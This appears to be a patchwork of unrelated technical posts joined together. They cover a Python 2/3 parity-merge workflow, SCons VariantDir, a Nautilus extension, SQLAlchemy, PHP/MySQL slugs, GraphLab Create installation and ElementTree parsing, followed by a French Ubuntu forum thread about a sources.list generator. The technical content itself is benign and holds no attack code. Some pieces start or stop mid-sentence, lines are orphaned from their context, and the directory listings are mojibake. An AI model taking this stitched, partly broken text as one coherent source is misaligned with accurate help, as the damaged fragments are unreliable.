The merge you’re doing can be verbally described as: “Take the difference between the old Python 3 codebase and the new Python 3 codebase, and apply it to the Python 2 codebase.” In practice, it’s done like so: You go over the list of files, looking for files which changed between column 1 and column 2. For each file like that, you open it for file merging. Your merge program will show the 3 different versions of the file, with differences between each two columns clearly marked. You put the caret on the middle column, and page through the differences. (Preferably using a keyboard shortcut like alt-down, consult your merge program documentation.)
As you go down the file, you’ll see three kinds of differences. Differences between column 1 and 2, between column 2 and 3, and between all columns.
ctrl-right. (This takes new code from the Python 3 codebase and copies it over to the Python 2 version.) Do take a brief look at the code you’re merging to ensure it’s Python 2 compatible.
Keep going over all files like that, until you’ve finished with all of them. Save all the files. Then run the test suite on both Python versions, and if there are any bugs, fix them until the suite passes.
Congratulations! You’ve achieved parity again. Commit your changes and push them to the parity branch. If you wish to make a PyPI release at this point, you’re good to go and your code will work on both Python versions.
You don’t have to do this process on every feature; you can do it once in a while, or every time before you merge changes to master.
Notes:
fix-foo-bug branch you can create a temporary fix-foo-bug-parity branch to use as your parity branch, so you won’t have to use the same parity branch for all branches.)
———-
That’s it. The process is a bit complex, but in my opinion the results are worth it; you have 2 completely separate codebases, you don’t depend on either code generation or compatibility libraries, and you can enjoy writing Python 3 idiomatic code on the Python 3 codebase. |
I installed the KDE window manager on top of Ubuntu 11.10 and while I am using KDE, I do not get an elevation dialog when I try to perform tasks that require root privileges. Instead, the operations silently fail, unless I launch apps from a terminal, in which case I get errors like:
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/softwareproperties/gtk/SoftwarePropertiesGtk.py", line 649, in on_isv_source_toggled
self.backend.ToggleSourceUse(str(source_entry))
File "/usr/lib/python2.7/dist-packages/dbus/proxies.py", line 143, in __call__
**keywords)
File "/usr/lib/python2.7/dist-packages/dbus/connection.py", line 630, in call_blocking
message, timeout)
dbus.exceptions.DBusException: com.ubuntu.SoftwareProperties.PermissionDeniedByPolicy: com.ubuntu.softwareproperties.applychanges
Or from the muon package manager, an error dialog such as:
Does anyone know what I need to do to fix this, so that I get a proper dialog asking for elevation? Otherwise, I have to start each app that may need root privs with sudo from a terminal or gksudo.
Thanks |
I prepared an example that shows how to compile a project like yours with just one SConstruct script (no subsidiary SConscripts) using the SCons VariantDir() function. I decided to do this in a separate answer so that it would be easier to read.
The VariantDir() function isnt documented very well, so the behavior you mention regarding the placement of the compiled object files isnt straight-forward to fix. The "trick" is to refer to all of your source files in the variant directory, not in your actual source directory, as can be seen below.
Here is the structure of the source files in my project:
$ tree .
.
âââ SConstruct
âââ src1
â  âââ class1.cc
â  âââ class1.h
âââ src2
â  âââ class2.cc
â  âââ class2.h
âââ srcMain
âââ main.cc
Here is the SConstruct:
env = Environment()
# Set the include paths
env.Append(CPPPATH = ['src1', 'src2'])
# Notice the source files are referred to in the build dir
# If you dont do this, the compiled objects will be in the src dirs
src1Sources = ['build/lib1/class1.cc']
src2Sources = ['build/lib2/class2.cc']
mainSources = ['build/mainApp/main.cc']
env.VariantDir(variant_dir = 'build/lib1', src_dir = 'src1', duplicate = 0)
env.VariantDir(variant_dir = 'build/lib2', src_dir = 'src2', duplicate = 0)
env.VariantDir(variant_dir = 'build/mainApp', src_dir = 'srcMain', duplicate = 0)
lib1 = env.Library(target = 'build/lib1/src1', source = src1Sources)
lib2 = env.Library(target = 'build/lib1/src2', source = src2Sources)
env.Program(target = 'build/mainApp/main', source = [mainSources, lib1, lib2])
Here is the compilation output:
$ scons
scons: Reading SConscript files ...
scons: done reading SConscript files.
scons: Building targets ...
g++ -o build/lib1/class1.o -c -Isrc1 -Isrc2 src1/class1.cc
ar rc build/lib1/libsrc1.a build/lib1/class1.o
ranlib build/lib1/libsrc1.a
g++ -o build/lib2/class2.o -c -Isrc1 -Isrc2 src2/class2.cc
ar rc build/lib1/libsrc2.a build/lib2/class2.o
ranlib build/lib1/libsrc2.a
g++ -o build/mainApp/main.o -c -Isrc1 -Isrc2 srcMain/main.cc
g++ -o build/mainApp/main build/mainApp/main.o build/lib1/libsrc1.a build/lib1/libsrc2.a
scons: done building targets.
And here is the resulting project structure after compiling:
$ tree .
.
âââ build
â  âââ lib1
â  â  âââ class1.o
â  â  âââ libsrc1.a
â  â  âââ libsrc2.a
â  âââ lib2
â  â  âââ class2.o
â  âââ mainApp
â  âââ main
â  âââ main.o
âââ SConstruct
âââ src1
â  âââ class1.cc
â  âââ class1.h
âââ src2
â  âââ class2.cc
â  âââ class2.h
âââ srcMain
âââ main.cc
It should be mentioned that a more straight-forward way to do this is with the SConscript() function, specifying the variant_dir, but if your requirements dont allow you to do so, this example will work. The SCons man page has more info about the VariantDir() function. There you will also find the following:
Note that VariantDir() works most naturally with a subsidiary SConscript file. |
To add menu items to can write a Nautilus extension, like
from gi.repository import Nautilus, GObject
class MyItemExtension(GObject.GObject, Nautilus.MenuProvider):
def get_file_items(self, window, files):
menuitem = Nautilus.MenuItem(name='MyItem::SomeItem',
label='My Item',
tip='my own item',
icon='')
menuitem.connect('activate', self.on_menu_item_clicked, files)
return menuitem,
def on_menu_item_clicked(self, item, files):
print [f.get_name() for f in files]
Save this into something like /usr/share/nautilus-python/extensions/myitem.py, install the package python-nautilus and restart Nautilus, for example by running nautilus -q; sleep 2; nautilus. Now you should see a new item "My Item" if you rightclick a file.
As far as I know there is no documented way to remove menu items.
The see API reference for some more information. |
I have two table posts & categories
post_id | post_title | post_content | post_cat--------------------------------------------------1 Hello World welcome to my.. 1. .. .. ..
categories table
cat_id | cat_name | cat_parent-----------------------------1 News NULL2 Sports 1. ... ..
Let's say current category link for news is http://domain.com/category/1/
MySQL statment
SELECT posts.post_id,
posts.post_id,
posts.post_title,
posts.post_content,
posts.post_cat,
categories.cat_id,
categories.cat_name,
categories.cat_parent
FROM posts
INNER JOIN categories
ON posts.post_cat = categories.cat_id
WHERE posts.post_cat = (int)$_GET['cat_id']
So we can get a result for post_cat = 1
According to my current database structure, how do I remove the ID but change it to be a nice slug? Example :-
Main category - http://domain.com/category/news/
Sub category - http://domain.com/category/news/sports/
Let me know a clue how script will tell News is equal 1 on post_cat column? |
I have a SQLAlchemy table class created using the Declarative method:
mysqlengine = create_engine(dsn)
session = scoped_session(sessionmaker(bind=mysqlengine))
Base = declarative_base()
Base.metadata.bind = mysqlengine
class MyTable(Base):
__table_args__ = {'autoload' : True}
Now, when using this table within the code I would like to not have to use the session.add method in order to add each new record to the active session so instead of:
row = MyTable(1, 2, 3)
session.add(row)
session.commit()
I would like to have:
row = MyTable(1, 2, 3)
session.commit()
Now, I know of this question already: Possible to add an object to SQLAlchemy session without explicit session.add()?
And, I realize you can force this behavior by doing the following:
class MyTable(Base):
def __init__(self, *args, **kw):
super(MyTable, self).__init__(*args, **kw)
session.add(self)
However, I do not want to bloat my code containing 30 tables with this method. I also know that Elixir ( http://elixir.ematia.de/trac/wiki ) does this so it must be possible in some sense. |
Already have GraphLab Create and want to get the latest version? Follow the upgrade instructions.
Join the beta! It is free and easy. Sign up and instantly receive a GraphLab Create product key for your individual use. We will also send you a confirmation email.
All fields are required.
Welcome to the beta! Your product key has been generated. To make configuration easy, we have provided a shell command that will insert your product key in a GraphLab Create configuration file located in your home directory. Before running Python, paste the following code into your terminal window and execute. GraphLab Create will reference this file upon import.
(mkdir -p ~/.graphlab && echo -e "[Product]\nproduct_key={key}" > ~/.graphlab/config && echo "Configuration file written") || echo "Configuration file not written"
Successful completion of this step will show "Configuration file written" in your terminal window. Now, proceed to Step 2.
GraphLab Create is easy to install is easy to install.
Supported operating systems:
What do I need to do?
python -V in terminal)
You can install Graphlab Create system-wide (recommended) or in a Python virtual environment (virtualenv).
Copy and paste the following code into your terminal window and hit "Enter".
sudo pip install graphlab-create==0.9.1
If you are unsure about installing or upgrading these libraries system-wide we recommend installation with virtualenv.
Installing with in a virtualenv contains the installation of GraphLab Create and allows you to customize this virtualenv with other Python packages you may want for your data science projects.
pip freeze. To install, execute sudo pip install virtualenv in your terminal before proceeding
virtualenv graphlab
. graphlab/bin/activate
pip install graphlab-create==0.9.1
Resource: Learn how to use virtualenv
Now you can start using GraphLab Create. Let's build a recommender. Copy and paste the following code into your Python console.
import graphlab as gl
url = 'http://s3.amazonaws.com/GraphLab-Datasets/movie_ratings/training_data.csv'
data = gl.SFrame.read_csv(url, column_type_hints={"rating":int})
data.show()
model = gl.recommender.create(data, user_id="user", item_id="movie", target="rating")
results = model.recommend(users=None, k=5)
You've just used the fundamentals of GraphLab Create! To learn more about this recommender see this notebook.
Get started by visiting our Learn section where you will find our user guide, API documents, How To sample code, a syntax translator and more.
The Getting Started with GraphLab Create is a good IPython notebook for beginners. Download the code and have fun. It will give you a broad overview of how to use GraphLab Create. We’ll introduce the SFrame, a tabular structure ideal for data manipulation and feature building, and the Graph which is a structure ideal for sparse relationship data. We’ll also introduce our machine learning toolkits. Using these, you’ll ingest data, build a graph, and run a graphical model to generate an insight. Check out all of our notebooks!, there's a lot to see. |
I'm having a hard time finding a good, basic example of how to parse XML in python using Element Tree. From what I can find, this appears to be the easiest library to use for parsing XML. Here is a sample of the XML I'm working with:
<timeSeriesResponse>
<queryInfo>
<locationParam>01474500</locationParam>
<variableParam>99988</variableParam>
<timeParam>
<beginDateTime>2009-09-24T15:15:55.271</beginDateTime>
<endDateTime>2009-11-23T15:15:55.271</endDateTime>
</timeParam>
</queryInfo>
<timeSeries name="NWIS Time Series Instantaneous Values">
<values count="2876">
<value dateTime="2009-09-24T15:30:00.000-04:00" qualifiers="P">550</value>
<value dateTime="2009-09-24T16:00:00.000-04:00" qualifiers="P">419</value>
<value dateTime="2009-09-24T16:30:00.000-04:00" qualifiers="P">370</value>
.....
</values>
</timeSeries>
</timeSeriesResponse>
I am able to do what I need, using a hard-coded method. But I need my code to be a bit more dynamic. Here is what worked:
tree = ET.parse(sample.xml)
doc = tree.getroot()
timeseries = doc[1]
values = timeseries[2]
print child.attrib['dateTime'], child.text
#prints 2009-09-24T15:30:00.000-04:00, 550
Here are a couple of things I've tried, none of them worked, reporting that they couldn't find timeSeries (or anything else I tried):
tree = ET.parse(sample.xml)
tree.find('timeSeries')
tree = ET.parse(sample.xml)
doc = tree.getroot()
doc.find('timeSeries')
Basically, I want to load the xml file, search for the timeSeries tag, and iterate through the value tags, returning the dateTime and the value of the tag itself; everything I'm doing in the above example, but not hard coding the sections of xml I'm interested in. Can anyone point me to some examples, or give me some suggestions on how to work through this? Thanks for your help
UPDATE (11/24/09): Thanks for all the help. Using both of the below suggestions worked on the sample file I provided, however, they didn't work on the full file. Here is the error I get from the real file when I use Ed Carrel's method:
(<type 'exceptions.AttributeError'>, AttributeError("'NoneType' object has no attribute 'attrib'",), <traceback object at 0x011EFB70>)
I figured there was something in the real file it didn't like, so I incremently removed things until it worked. Here are the lines that I changed:
originally: <timeSeriesResponse xsi:schemaLocation="a URL I removed" xmlns="a URL I removed" xmlns:xsi="a URL I removed"> changed to: <timeSeriesResponse> originally: <sourceInfo xsi:type="SiteInfoType"> changed to: <sourceInfo> originally: <geogLocation xsi:type="LatLonPointType" srs="EPSG:4326"> changed to: <geogLocation>
Removing the attributes that have 'xsi:...' fixed the problem. Is the 'xsi:...' not valid XML? It will be hard for me to remove these programmatically. Any suggested work arounds?
Here is the full XML file: http://www.sendspace.com/file/lofcpt
Thanks again
Casey
UPDATE (11/24/11)
When I originally asked this question, I was unaware of namespaces in XML. Now that I know what's going on, I don't have to remove the "xsi" attributes, which are the namespace declarations. I just include them in my xpath searches. See this page for more info on namespaces in lxml. |
McPeter
Re : Un 'autre' générateur de sources.list en ligne
Je viens de rectifier le soucis sur le nom du fichier bash.
Par contre je ne vois aucun soucis à l'exécution :\
pourrais tu me dire quel navigateur tu as utilisé et quel message d'erreur ça te renvoit ? (un copié/collé du message)
le chmod +x est inutile là puisque qu'on utilise directement 'bash fichier' (plus simple poru le commun des mortels )
Hors ligne
McPeter
Re : Un 'autre' générateur de sources.list en ligne
Hors ligne
McPeter
Re : Un 'autre' générateur de sources.list en ligne
noruas beep ?!
Hors ligne
SoCko
Re : Un 'autre' générateur de sources.list en ligne
Merci à toi McPeter pour ce générateur. Très utile et ergonomique, on a un sources.list en une dizaine de secondes!
Hors ligne
tripes_inn
Re : Un 'autre' générateur de sources.list en ligne
merci je reinstalle tout et je suis bien content de ne pas avoir à tout retrouver.
j'ai dù corriger le fichier pour que synaptic l'accepte.
je joins l'original
###############################################################################
## UBUNTU LUCID LYNX - 10.04 - Date : 11/09/2010
##
## SOURCES.LIST GENERATOR Version 0.3-10.04
## http://sources-list.ubuntu-fr-secours.org
###############################################################################
# deb cdrom:[Ubuntu 10.04 LTS _Lucid Lynx_ - Release i386 (20100429)]/ lucid main restricted
## DEPOTS PRINCIPAUX
deb http://archive.ubuntu.com/ubuntu lucid main
# deb-src http://archive.ubuntu.com/ubuntu lucid main
## DEPOTS RESTRICTED
deb http://archive.ubuntu.com/ubuntu lucid restricted
# deb-src http://archive.ubuntu.com/ubuntu lucid restricted
## DEPOTS UNIVERSE (logiciels libres)
deb http://archive.ubuntu.com/ubuntu lucid universe
# deb-src http://archive.ubuntu.com/ubuntu lucid universe
## DEPOTS MULTIVERSE (logiciels non-libres)
deb http://archive.ubuntu.com/ubuntu lucid multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid multiverse
## DEPOTS DE MISES A JOUR EN PRES VERSION
# deb http://archive.ubuntu.com/ubuntu lucid-proposed main restricted universe multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid-proposed
## DEPOTS NON PRIS EN CHARGE
# deb http://archive.ubuntu.com/ubuntu lucid-backports main restricted universe multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid-backports
## DEPOTS DE MISES A JOUR DE SECURITE
deb http://archive.ubuntu.com/ubuntu lucid-security main restricted universe multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid-security
## DEPOTS DE MISES A JOUR IMPORTANTES
deb http://archive.ubuntu.com/ubuntu lucid-updates main restricted universe multiverse
# deb-src http://archive.ubuntu.com/ubuntu lucid-updates
## DEPOTS COMMERCIAUX
deb http://archive.canonical.com/ubuntu lucid partner
# deb-src http://archive.canonical.com/ubuntu lucid partner
deb http://archive.canonical.com/ubuntu lucid-security partner
# deb-src http://archive.canonical.com/ubuntu lucid-security partner
deb http://
j'ai supprimer
deb http://
à la fin et c bon
Samsung N145 plus
ubuntu 11.10 64 bits
Hors ligne
alej
Re : Un 'autre' générateur de sources.list en ligne
Et en ne gardant que les lignes utiles, en synthèse, ça donne ça...
deb http://archive.ubuntu.com/ubuntu lucid main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu lucid-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu lucid-updates main restricted universe multiverse
deb http://archive.canonical.com/ubuntu lucid partner
deb http://archive.canonical.com/ubuntu lucid-security partner
Un peu + digeste, non ?
Hors ligne
McPeter
Re : Un 'autre' générateur de sources.list en ligne
Tu as surtout loupé ton copié/collé ...
le dépôt canonical c'est ça :
## DEPOTS COMMERCIAUX
deb http://archive.canonical.com/ubuntu lucid partner
# deb-src http://archive.canonical.com/ubuntu lucid partner
deb http://archive.canonical.com/ubuntu lucid-security partner
# deb-src http://archive.canonical.com/ubuntu lucid-security partner
deb http://archive.canonical.com/ubuntu lucid-updates partner
# deb-src http://archive.canonical.com/ubuntu lucid-updates partner
Donc soit y'a eu un bug au téléchargement du sources.list soit tu t'es loupé au copié/collé ...
mais c'est pas juste une histoire de "supprimer la fin".
merci je reinstalle tout et je suis bien content de ne pas avoir à tout retrouver.
j'ai dù corriger le fichier pour que synaptic l'accepte.
je joins l'original
...
## DEPOTS COMMERCIAUX
deb http://archive.canonical.com/ubuntu lucid partner
# deb-src http://archive.canonical.com/ubuntu lucid partner
deb http://archive.canonical.com/ubuntu lucid-security partner
# deb-src http://archive.canonical.com/ubuntu lucid-security partner
deb http://
j'ai supprimer
deb http://
à la fin et c bon
Hors ligne
McPeter
Re : Un 'autre' générateur de sources.list en ligne
Et en ne gardant que les lignes utiles, en synthèse, ça donne ça...
deb http://archive.ubuntu.com/ubuntu lucid main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu lucid-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu lucid-updates main restricted universe multiverse
deb http://archive.canonical.com/ubuntu lucid partner
deb http://archive.canonical.com/ubuntu lucid-security partner
Un peu + digeste, non ?
Pas compris l'intervention là :\
ça vient faire quoi dans la choucroute ?
Hors ligne
jajaX
Re : Un 'autre' générateur de sources.list en ligne
salut
la mise à jour pour avoir un source.list pour la 10.10 est prévue pour quand ?
@+ jajaX [Membre de Breizhtux : LUG de Saint Brieuc]ACER Aspire 8930G 904G50Bn & HP dv7 2230f sous Kubuntu 14.04 The Trusty Tahr (64 bits) & KDE SC 4.13.2/Amarok 2.8ACER Aspire 5612 WLMI & HP Compaq NX6310 sous kubuntu 14.04 The Trusty Tahr (32 bits) & KDE SC 4.13.2/Amarok 2.8
Hors ligne
noruas
Re : Un 'autre' générateur de sources.list en ligne
Désolé, j'étais parti faire un tour sur Arch ^^
Au sujet de mon problème, j'ai essayé toutes les possibilités de ton générateur sur 5 machines, dont une m'appartenant, j'ai toujours eu des soucis.
La génération des scripts automatiques se fait chez moi (sources.list_autoFull ou sources.list_autoFiles), mais ne renvois que des erreurs lorsque j'arrive à l'étape 5... donc échec.
Je suis donc obligé de me rabattre sur la génération d'un "sources.list" et d'un "sources.list_key", mais même là, j'ai des soucis.
En fait, j'ai le même problème que "tripes_inn", mon fichier "sources.list" n'est jamais généré complètement, il m'en manque plus de la moitié et il se termine en général par "deb http://"...
Par contre, j'ai beau le régénérer plusieurs fois, ce n'est jamais à la même ligne que ça s'arrête, mais il n'est jamais complet.
Pour solutionner ça, je copie colle le sources.list affiché dans le récapitulatif dans le fichier qu'il était censé me générer.
Ensuite, tout se passe à merveille.
Hors ligne
McPeter
Re : Un 'autre' générateur de sources.list en ligne
Oui j'ai malheureusement vu qu'il y avait un gros bug sur le script de génération
Je vais donc reprendre tout ça proprement
La version 10.10 arrive bientôt
Hors ligne
noruas
Re : Un 'autre' générateur de sources.list en ligne
Oui et avec la version 10.10 le dépot officiel EXTRAS.
PS: après test sur ma Maverick fraichement installée, il n'y a que le dépot Exaile qui n'existe pas encore pour cette version d'Ubuntu, les autres sont déjà opérationels.
Dernière modification par noruas (Le 11/10/2010, à 14:59)
Hors ligne
Isaric
Re : Un 'autre' générateur de sources.list en ligne
Je n'ai pas vu les dépôts alors, je les proposes :
ekiga (pas encore en 10.10 - 64)
ppa:sevmek/ppa%%%empathy%%%
ppa:telepathy/ppa
SFLphone doc
deb http://ppa.launchpad.net/savoirfairelinux/ppa/ubuntu YOUR_UBUNTU_VERSION_HERE mainBrasero (pas encore en 10.10 - 64)
ppa:renbag/ppaVlc
ppa:n-muench/vlcGnome Nanny (pour les version antérieures à 10.10)
ppa:nanny/ppaXbmc (doit être vide en 10.10-64)
ppa:henningpingel/xbmc
"Être bahá'í signifie simplement aimer la terre toute entière, aimer l'humanité et essayer de la servir, travailler pour la paix universelle et la famille humaine" 'Abdul'l-Bahá
"Vouloir s'ouvrir aux autres n'est pas une preuve de faiblesse, c'est une preuve d'intelligence" Matthieu Ricard.
ma config
Hors ligne
Isaric
Re : Un 'autre' générateur de sources.list en ligne
Aussi gThumb :
ppa:webupd8team/gthumb
"Être bahá'í signifie simplement aimer la terre toute entière, aimer l'humanité et essayer de la servir, travailler pour la paix universelle et la famille humaine" 'Abdul'l-Bahá
"Vouloir s'ouvrir aux autres n'est pas une preuve de faiblesse, c'est une preuve d'intelligence" Matthieu Ricard.
ma config
Hors ligne
Isaric
Re : Un 'autre' générateur de sources.list en ligne
Dernière modification par Isaric (Le 20/10/2010, à 12:14)
"Être bahá'í signifie simplement aimer la terre toute entière, aimer l'humanité et essayer de la servir, travailler pour la paix universelle et la famille humaine" 'Abdul'l-Bahá
"Vouloir s'ouvrir aux autres n'est pas une preuve de faiblesse, c'est une preuve d'intelligence" Matthieu Ricard.
ma config
Hors ligne
caracolito
Re : Un 'autre' générateur de sources.list en ligne
Excellent travail Génial ! il manque seulement la dernière version: la 10.10
Les arbres enseignent la patience: Ils ne baissent pas les bras à la première tempête venue. [C.Beaupré]
Quand je ne sais pas traduire je me fais aider par: translate.google.com
Hors ligne
McPeter
Re : Un 'autre' générateur de sources.list en ligne
ça va venir ... ainsi que la correction du bug sur la création des sources auto
Hors ligne
serviteur
Re : Un 'autre' générateur de sources.list en ligne
salut,
J'ai installé recement Ubuntu Ultimate Edition 2.7 base sur lucid 10.04 LTS ;
Voici mon ficuier source.list :
#deb cdrom:[Ubuntu 10.04 LTS _Lucid Lynx_ - Release i386 (20100429)]/ lucid main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://us.archive.ubuntu.com/ubuntu/ lucid main restricted
deb-src http://us.archive.ubuntu.com/ubuntu/ lucid main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://us.archive.ubuntu.com/ubuntu/ lucid-updates main restricted
deb-src http://us.archive.ubuntu.com/ubuntu/ lucid-updates main restricted
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://us.archive.ubuntu.com/ubuntu/ lucid universe
deb-src http://us.archive.ubuntu.com/ubuntu/ lucid universe
deb http://us.archive.ubuntu.com/ubuntu/ lucid-updates universe
deb-src http://us.archive.ubuntu.com/ubuntu/ lucid-updates universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://us.archive.ubuntu.com/ubuntu/ lucid multiverse
deb-src http://us.archive.ubuntu.com/ubuntu/ lucid multiverse
deb http://us.archive.ubuntu.com/ubuntu/ lucid-updates multiverse
deb-src http://us.archive.ubuntu.com/ubuntu/ lucid-updates multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://us.archive.ubuntu.com/ubuntu/ lucid-backports main restricted universe multiverse
# deb-src http://us.archive.ubuntu.com/ubuntu/ lucid-backports main restricted universe multiverse
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
# deb http://archive.canonical.com/ubuntu lucid partner
# deb-src http://archive.canonical.com/ubuntu lucid partner
deb http://security.ubuntu.com/ubuntu lucid-security main restricted
deb-src http://security.ubuntu.com/ubuntu lucid-security main restricted
deb http://security.ubuntu.com/ubuntu lucid-security universe
deb-src http://security.ubuntu.com/ubuntu lucid-security universe
deb http://security.ubuntu.com/ubuntu lucid-security multiverse
deb-src http://security.ubuntu.com/ubuntu lucid-security multiverse
je n'arrive pas à faire une mise à jour pour pourvoir installé des logiciels dans les dépots que ce par le terminal ou synaptic
en tapant sudo apt-get update voici les erreurs :
creation@creation-Jesus:~$ sudo apt-get update
Atteint http://archive.canonical.com lucid Release.gpg
Ign http://archive.canonical.com/ubuntu/ lucid/partner Translation-fr
Réception de : 1 http://security.ubuntu.com lucid-security Release.gpg [198B]
Ign http://security.ubuntu.com/ubuntu/ lucid-security/main Translation-fr
Atteint http://packages.medibuntu.org karmic Release.gpg
Ign http://packages.medibuntu.org/ karmic/free Translation-fr
Ign http://packages.medibuntu.org/ karmic/non-free Translation-fr
Atteint http://ppa.launchpad.net lucid Release.gpg
Ign http://ppa.launchpad.net/compiz/ubuntu/ lucid/main Translation-fr
Réception de : 2 http://us.archive.ubuntu.com lucid Release.gpg [189B]
Réception de : 3 http://us.archive.ubuntu.com/ubuntu/ lucid/main Translation-fr [452kB]
Atteint http://archive.canonical.com lucid Release
Ign http://security.ubuntu.com/ubuntu/ lucid-security/restricted Translation-fr
Ign http://security.ubuntu.com/ubuntu/ lucid-security/universe Translation-fr
Ign http://security.ubuntu.com/ubuntu/ lucid-security/multiverse Translation-fr
Réception de : 4 http://security.ubuntu.com lucid-security Release [38,5kB]
Atteint http://packages.medibuntu.org karmic Release
Atteint http://ppa.launchpad.net lucid Release
Réception de : 5 http://downloadue.info lucid Release.gpg
Ign http://downloadue.info/repo/ lucid/all Translation-fr
Atteint http://archive.canonical.com lucid/partner Packages
Atteint http://packages.medibuntu.org karmic/free Packages
Atteint http://ppa.launchpad.net lucid/main Packages
Ign http://downloadue.info lucid Release
Atteint http://packages.medibuntu.org karmic/non-free Packages
Ign http://deb.playonlinux.com lucid Release.gpg
Ign http://downloadue.info lucid/all Packages
Ign http://deb.playonlinux.com/ lucid/main Translation-fr
Réception de : 6 http://deb.playonlinux.com lucid Release [1 722B]
Ign http://downloadue.info lucid/all Packages
Réception de : 7 http://us.archive.ubuntu.com/ubuntu/ lucid/restricted Translation-fr [2 628B]
Réception de : 8 http://us.archive.ubuntu.com/ubuntu/ lucid/universe Translation-fr [702kB]
Ign http://deb.playonlinux.com lucid/main Packages
Err http://downloadue.info lucid/all Packages
Connexion à downloadue.info: 80 (174.120.62.91) impossible. - connect (110: Connexion terminée par expiration du délai d'attente)
Ign http://security.ubuntu.com lucid-security/main Packages
Réception de : 9 http://security.ubuntu.com lucid-security/restricted Packages [14B]
Réception de : 10 http://security.ubuntu.com lucid-security/main Sources [35,2kB]
Réception de : 11 http://us.archive.ubuntu.com/ubuntu/ lucid/multiverse Translation-fr [83,2kB]
Réception de : 12 http://us.archive.ubuntu.com lucid-updates Release.gpg [198B]
Ign http://us.archive.ubuntu.com/ubuntu/ lucid-updates/main Translation-fr
Ign http://us.archive.ubuntu.com/ubuntu/ lucid-updates/restricted Translation-fr
Ign http://us.archive.ubuntu.com/ubuntu/ lucid-updates/universe Translation-fr
Ign http://us.archive.ubuntu.com/ubuntu/ lucid-updates/multiverse Translation-fr
Réception de : 13 http://us.archive.ubuntu.com lucid Release [57,2kB]
Ign http://security.ubuntu.com lucid-security/restricted Sources
Réception de : 14 http://us.archive.ubuntu.com lucid-updates Release [44,7kB]
Réception de : 15 http://security.ubuntu.com lucid-security/universe Packages [47,5kB]
Réception de : 16 http://us.archive.ubuntu.com lucid/main Packages [1 386kB]
Ign http://deb.playonlinux.com lucid/main Packages
Réception de : 17 http://security.ubuntu.com lucid-security/universe Sources [12,9kB]
Atteint http://deb.playonlinux.com lucid/main Packages
Réception de : 18 http://security.ubuntu.com lucid-security/multiverse Packages [2 013B]
Ign http://security.ubuntu.com lucid-security/multiverse Sources
Ign http://security.ubuntu.com lucid-security/main Packages
Ign http://security.ubuntu.com lucid-security/restricted Sources
Ign http://security.ubuntu.com lucid-security/multiverse Sources
Réception de : 19 http://security.ubuntu.com lucid-security/main Packages [129kB]
Réception de : 20 http://security.ubuntu.com lucid-security/restricted Sources [20B]
Réception de : 21 http://security.ubuntu.com lucid-security/multiverse Sources [572B]
Ign http://us.archive.ubuntu.com lucid/restricted Packages
Réception de : 22 http://us.archive.ubuntu.com lucid/main Sources [659kB]
Réception de : 23 http://us.archive.ubuntu.com lucid/restricted Sources [3 775B]
Réception de : 24 http://us.archive.ubuntu.com lucid/universe Packages [5 448kB]
Réception de : 25 http://us.archive.ubuntu.com lucid/universe Sources [3 165kB]
Réception de : 26 http://us.archive.ubuntu.com lucid/multiverse Packages [180kB]
Réception de : 27 http://us.archive.ubuntu.com lucid/multiverse Sources [119kB]
Réception de : 28 http://us.archive.ubuntu.com lucid-updates/main Packages [343kB]
Réception de : 29 http://us.archive.ubuntu.com lucid-updates/restricted Packages [3 240B]
Réception de : 30 http://us.archive.ubuntu.com lucid-updates/main Sources [134kB]
Réception de : 31 http://us.archive.ubuntu.com lucid-updates/restricted Sources [1 443B]
Réception de : 32 http://us.archive.ubuntu.com lucid-updates/universe Packages [146kB]
Réception de : 33 http://us.archive.ubuntu.com lucid-updates/universe Sources [56,8kB]
Réception de : 34 http://us.archive.ubuntu.com lucid-updates/multiverse Packages [7 373B]
Réception de : 35 http://us.archive.ubuntu.com lucid-updates/multiverse Sources [3 669B]
Ign http://us.archive.ubuntu.com lucid/restricted Packages
Réception de : 36 http://us.archive.ubuntu.com lucid/restricted Packages [6 133B]
13,3Mo réceptionnés en 36min 59s (5 977o/s)
W: Impossible de récupérer http://downloadue.info/repo/dists/lucid/all/binary-i386/Packages.gz Connexion à downloadue.info: 80 (174.120.62.91) impossible. - connect (110: Connexion terminée par expiration du délai d'attente)
E: Le téléchargement de quelques fichiers d'index a échoué, ils ont été ignorés, ou les anciens ont été utilisés à la place.
creation@creation-Jesus:~$
J'aimerai avoir si c'est possible une source.list adaptée avec le serveur national d' Afrique du Sud car il est proche du pays où je reside.
Cordialement
" Le disciple (serviteur) n'est pas plus que le maître; mais tout disciple accompli sera comme son maître." Luc 6:40; Jean. 13:16
'' J'ai été crucifié avec Christ et je suis une nouvelle création" GAL2: 20, 2Cor5: 17, Rom 6:6-7
HP xw4600 Workstation: Intel Core 2 Quad Q9300, 4 GB RAM, Nvidia Geforce GTX 580
Hors ligne
jajaX
Re : Un 'autre' générateur de sources.list en ligne
salut
tu as 2 serveurs qui ne répondent pas. pas grave retente plus tard ou demain.
@+ jajaX [Membre de Breizhtux : LUG de Saint Brieuc]ACER Aspire 8930G 904G50Bn & HP dv7 2230f sous Kubuntu 14.04 The Trusty Tahr (64 bits) & KDE SC 4.13.2/Amarok 2.8ACER Aspire 5612 WLMI & HP Compaq NX6310 sous kubuntu 14.04 The Trusty Tahr (32 bits) & KDE SC 4.13.2/Amarok 2.8
Hors ligne
wendyam
